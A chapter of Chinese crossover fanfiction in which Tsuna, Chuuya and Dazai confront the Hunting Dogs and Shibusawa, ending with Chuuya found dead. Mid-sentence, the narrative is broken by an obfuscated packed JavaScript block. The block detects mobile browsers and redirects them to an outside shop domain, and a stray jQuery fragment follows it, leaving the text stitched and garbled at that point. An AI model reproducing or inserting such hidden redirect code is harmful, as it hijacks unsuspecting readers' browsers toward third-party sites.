中原中也哼了一声,挡在沢田纲吉面前。
“你来做什么?”
“动动脑子吧,你的首领怕你冲动,让我来看着你。”太宰治表情散漫:“再说,没有我,你去哪找涩泽龙彦。”
沢田纲吉对上他的目光,想要解释,但如鲠在喉。
中原中也狐疑:“你会告诉我?”
“哈,当然不会。”太宰治挑了挑眉:“世界上可没有白吃的午餐。”
中原中也翻了个白眼:“我们走。”
停顿了许久,沢田纲吉从太宰治身上收回目光,走到中原中也身后:“你知道涩泽龙彦在哪?”
“当然。”中原中也一瞥:“你觉得我会不知道就出门?”
沢田纲吉不好意思地摸了下鼻子,转移话题,中原中也惊了:“在你眼中我这么没脑子?”
诡异的沉默中,突然传来一声嗤笑,两人齐齐回头,太宰治不远不近地跟在后面,无辜耸耸肩:“这里不让笑?”
“混蛋太宰!”
就在两人要打起来时,沢田纲吉突然开口:“一起吧。”
中原中也皱眉:“你说什么?”
“我说一起吧,太宰君。”
沢田纲吉看向太宰治,坦率一笑。
两人缓缓收了手,沢田纲吉浑身镀了一层毛茸茸的金色光晕,只是站在那里,却让人不想反驳他的任何一句话。
“他们三个在说什么?”
高楼之上,条野彩菊和末广铁肠一蹲一站,俯瞰着下方。
“中原中也说他知道涩泽龙彦的位置。”条野彩菊打了个哈欠。
“你都不知道,他去哪知道?”
“我说铁肠君,虽然你的夸奖让我很满意,但你是不是忘了,某个叫狱寺隼人的已经下落不明24h了。”
“你是说,他给中原中也传递了消息?”
直觉传来微妙的感觉,沢田纲吉突然抬起头。
大片阴云如幕布滑过高楼边际,渐渐覆盖城市上空,雾气带来的潮湿让人浑身像被汗水糊住了,闷不透风。
太宰治抬头望去,中原中也已经跃上三楼,回头匆匆瞥过沢田纲吉。
“你在这等我。”
沢田纲吉看着雾气,看了眼太宰治,转身冲进大楼电梯里。
太宰治知道确信他想到了,不需要自己,也能用出火焰的办法。
条野彩菊耳朵动了动,突然:“后退。”
末广铁肠和他一左一右跃到边沿。
末广铁肠脸色黑了下来:“雾气,是涩泽龙彦。”
“真是不讲道理,抓捕涩泽龙彦,应该派没有异能的军队来更好吧。”
“别傻了,他们不会允许涩泽龙彦受伤的。”
条野彩菊啧了一声,雾气无孔不入地蔓延,他连连躲避,斗篷飞扬如濒死的雏鸟。
他往下看了一眼,皮鞋踏在栏杆上,正要跃下,鞋底一滑,眼看着要跌进雾中。
“糟糕。”
“猎犬也这么狼狈啊?”
嘲讽的笑声划过耳畔,条野彩菊觉得脖子一勒,发梢与雾气擦过,抬头是中原中也拽得不行的脸,顿时汗流浃背。
沢田纲吉气喘吁吁地推开天台门,正好看见中原中也将条野彩菊拎到栏杆外。
“中也君!”
“就是你俩欺负沢田纲吉?”
中原中也完全没听见,沢田纲吉气还没喘匀,转身向后冲进雾里。
“谁能欺负得了他——等会儿!”
阴沉灰暗的雾气中赫然出现一点光晕,两人诧异扭头。
光晕吞噬灰暗,明亮的火焰像烟花一样绽放。
没等条野彩菊辩解,中原中也直接将他扔进百米高空,条野彩菊表情第一次这么扭曲:“中原中也,你等着!”
太宰治悠闲看着高速下坠的人影,不时好心指挥交通:“是是是,下人了,但不用躲开哦。”
下坠的动作又一次被止住,条野彩菊嗅了嗅,一双手托起他的后背,是熟悉的火焰。
“沢田纲吉。”
“你要欺负中也君?”
“……”条野彩菊觉得这两人完全不讲道理:“谁能欺负得了他?等等,你别丢。”
他有所预见地抓住沢田纲吉,暗自咬牙,要不是必须压制异能,他也不至于被轮番威胁。
一道和沢田纲吉等高的黑影忽然冲了过来,沢田纲吉抬起手臂,却没有挥下去,只是一味躲避。
条野彩菊敏锐:“你已经碰到雾气了?这是你分离出的异能?奇怪……”
“你的话太多了。”沢田纲吉想要将条野彩菊放回天台,被他出声阻止。
“天台上已经全是雾气了,不能回去,我的异能跟你可以不一样。”
沢田纲吉没有理会他语气里的探究,他又看向还在一边苦苦躲避的末广铁肠,掠身而至,将人一并拖上。
末广铁肠挥剑挥了个空,看见沢田纲吉,目光一沉。
见沢田纲吉能正常使用火焰,中原中也不再耽搁:“我去找他,你不用跟来。”
末广铁肠抱着手臂,冷静判断:“中原中也会杀了涩泽龙彦。”
“那才是皆大欢喜,因为涩泽龙彦死了多少人。”条野彩菊不在乎。
“我们只负责把涩泽龙彦带回去,不负责审判。”
说着末广铁肠就要挣开。
沢田纲吉瞟了他们一眼,扭头飞至太宰治身边。
“太宰君,看住他们。”
末广铁肠脸色一变,侧身拔刀。
太宰治温温和和按住两人的肩,便让他们再动不能。
“当着我的面就要对纲吉君动手吗?”
条野彩菊彻底无语,深吸一口气:“你们想做什么?”
“我不会让你们阻止中也君。”沢田纲吉嗓音冷淡:“我也不会原谅涩泽龙彦对小野寺做的事。”
太宰治意外地挑了下眉,沢田纲吉没有打算解释,身后突然一记手刀劈来。
他侧身闪过,将黑影掼到地上,却没办法下手彻底制服。
太宰治认出黑影,忽然瞟了眼条野彩菊,后者紧抿着唇一言不发,看不出任何情绪。
沢田纲吉盯着黑影,苦恼地蹙了蹙眉,翻身跃上楼,黑影一能自由活动便不甘追上。
“你只要走我们就会对太宰治动手。”末广铁肠盯着沢田纲吉即将远去的身影:“没有异能他也不是我的对手。”
沢田纲吉迟疑的空挡,黑影立马得了手,拳头擦着他脸颊而过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17652651|204200||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,额头的火焰熄灭了一瞬,沢田纲吉瞳孔晃了晃,停蹲在墙壁上。
太宰治看着末广铁肠,忽然打了个响指。
巷口巷尾冲出一小队黑衣人,抬起枪就对准末广铁肠和条野彩菊。
“都说了不要当着我的面威胁纲吉君了。”
沢田纲吉点点头:“拜托你了。”
他抬头飞进浓雾,黑影不甘示弱地追上,不过一眨眼就看不见身影了。
太宰治拍了拍手,吸引回两人的注意。
“为了大家的安全,先找个地方躲躲怎么样?毕竟你们的异能可没有这么听话。”
条野彩菊终于开口:“躲去哪儿?”
太宰治微微一笑:“城郊仓库。”
城郊废弃的仓库里,涩泽龙彦背着手在满墙的宝石前欣赏,心情颇好地哼着歌。
窗户闪过人影,他头也不回:“不要轻举妄动,不然我也不知道‘它’会不会消失。”
“你在跟谁说话?”
涩泽龙彦嘴角的弧度低了下去,他转过身,仓库铁门轰一声震碎,灰尘散尽,中原中也收回修长的腿,趾高气昂踏过残骸。
“躲在这里,就以为万事大吉了吗?”
炽烈的太阳蒙上尘雾,爆破声传向更远的大海,沢田纲吉略一停顿,正要冲向打斗的中心,腿被黑影死死抱住。
挣了几下,黑影越缠越紧,沢田纲吉低下头:“你不要怪我。”
手套上的火焰消失了,沢田纲吉按住黑影头顶,丝丝冷气从指缝钻出,黑影动作骤然僵住,寒冰从头顶迅速蔓延至全身,将它完全冻住。
沢田纲吉收回手,手套重新燃起火焰,他扭头冲向仓库,没有看见落地的冰块忽然消失了。
地陷声震耳欲聋,整座仓库向下沉了几米,沢田纲吉冲进门,涩泽龙彦白色长发随风轻扬,看清沢田纲吉的脸,他缓缓一笑。
沢田纲吉心中升起一股诡异的恐惧,他慌忙去找中原中也的身影。
“别看了。”涩泽龙彦优雅地抬起一根手指:“他在那呢。”
沢田纲吉随他目光看去,正撞上一双钴蓝色的眼睛。
中原中也被用奇异而扭曲的姿势吊在房顶,橘红的头发如同浸润在血泊里,鲜艳的血顺着他额头流进那双瞪大的眼里。
“中也君!”
礼帽晃了晃,飘飘落下。
沢田纲吉冲过去接住,停在中原中也面前,手掌颤抖抚上。
白瓷一样的皮肤还残留着余温,但手指触碰已经十分僵硬。沢田纲吉脑袋里一片空白,他不敢相信地向中原中也鼻下探去。
没有了呼吸。
双耳嗡鸣,两眼模糊,他不可思议地喘息,强烈的疼痛让他思考停滞不前。
什么样的人能把中原中也伤成这样?
白兰?一定是白兰!
沢田纲吉愤然回头,眼泪迎风大颗大颗砸落,他将中原中也的礼帽攥在心口。
涩泽龙彦笑着摊开手:“别担心,下一个就是你。”
“让白兰出来。”
“他怎么会来见你?”
沢田纲吉将中原中也从绳子上小心翼翼取下来,轻放在地,目光久久徘徊,血已将中原中也的衣襟、脖颈染成了同样的赤色。